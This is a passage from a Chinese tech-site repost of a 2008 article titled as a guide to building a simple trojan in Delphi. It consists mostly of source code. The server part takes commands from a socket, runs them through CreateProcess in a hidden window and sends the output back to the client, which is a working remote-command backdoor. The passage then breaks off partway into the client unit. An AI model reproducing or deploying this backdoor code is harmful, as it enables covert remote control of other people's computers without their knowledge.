您现在的位置: 天下网吧 >> 网吧天地 >> 天下码农 >> 后端开发 >> PHP >> 正文

Delphi下“培养”自己的简单木马

2008-11-7网络佚名

 

ientRead(Sender: TObject; Socket: TCustomWinSocket);

  var

  RemoteCmd:string;

  hReadPipe,hWritePipe:THandle;

  si:STARTUPINFO;

  lsa:SECURITY_ATTRIBUTES;

  pi:PROCESS_INFORMATION;

  cchReadBuffer:Dword;

  ph:PChar;

  fname:PChar;

  res:string;

  begin

  Memo1.Clear;

  remotecmd:=Socket.ReceiveText;

  fname:=allocmem(255);

  ph:=AllocMem(5000);

  lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);

  lsa.lpSecurityDescriptor :=nil;

  lsa.bInheritHandle :=True;

  if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then

  begin

  socket.SendText('不能创建管道');

  exit;

  end;

  fillchar(si,sizeof(STARTUPINFO),0);

  si.cb:=sizeof(STARTUPINFO);

  si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);

  si.wShowWindow:=SW_HIDE;

  si.hStdOutput:=hWritePipe;

  StrPCopy(fname,remotecmd);

  /////执行CMD命令////

  if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then

  begin

  socket.SendText('不能创建进程');

  FreeMem(ph);

  FreeMem(fname);

  Exit;

  end;

  while(true) do

  begin

  if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;

  if cchReadBuffer<>0 then

  begin

  if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;

  ph[cchReadbuffer]:=chr(0);

  Memo1.Lines.Add(ph);

  end

  else

  if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;

  Sleep(100);

  end;

  ph[cchReadBuffer]:=chr(0);

  Memo1.Lines.Add(ph); //memo接收回显

  CloseHandle(hReadPipe);

  CloseHandle(pi.hThread);

  CloseHandle(pi.hProcess);

  CloseHandle(hWritePipe);

  FreeMem(ph);

  FreeMem(fname);

  socket.SendText(Memo1.Text); ///将回显发送回客户端

  end;

  end.

  ///////////////////////////////////////////////////////////////////////////////////////////

  //////客户端/////////////////////

  unit UtMain;

  ////////////////////////////////////

  //////////BY lanyus////////////////

  ////////Email:greathjw@163.com////

  ////////QQ:231221////////////////

  ////////////////////////////////

  interface

  uses

  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

  Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,

  IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;

  type

  TFmMain = class(TForm)

  WebBrowser1: TWebBrowser;

  Label3: TLabel;

  Edit2: TEdit;

  Label4: TLabel;

  Edit3: TEdit;

  Button2: TButton;

  CS: TClientSocket;

  Edit4: TEdit;

  Label5: TLabel;

  Memo1: TMemo;

  BitBtn2: TBit

欢迎访问最专业的网吧论坛,无盘论坛,网吧经营,网咖管理,网吧专业论坛 https://bbs.txwb.com

关注天下网吧微信/下载天下网吧APP/天下网吧小程序,一起来超精彩

本文来源:网络 作者:佚名

声明
声明:本站所发表的文章、评论及图片仅代表作者本人观点,与本站立场无关。若文章侵犯了您的相关权益,请及时与我们联系,我们会及时处理,感谢您对本站的支持!联系邮箱:support@txwb.com,系统开号,技术支持,服务联系QQ:1175525021本站所有有注明来源为天下网吧或天下网吧论坛的原创作品,各位转载时请注明来源链接!
天下网吧 网吧天下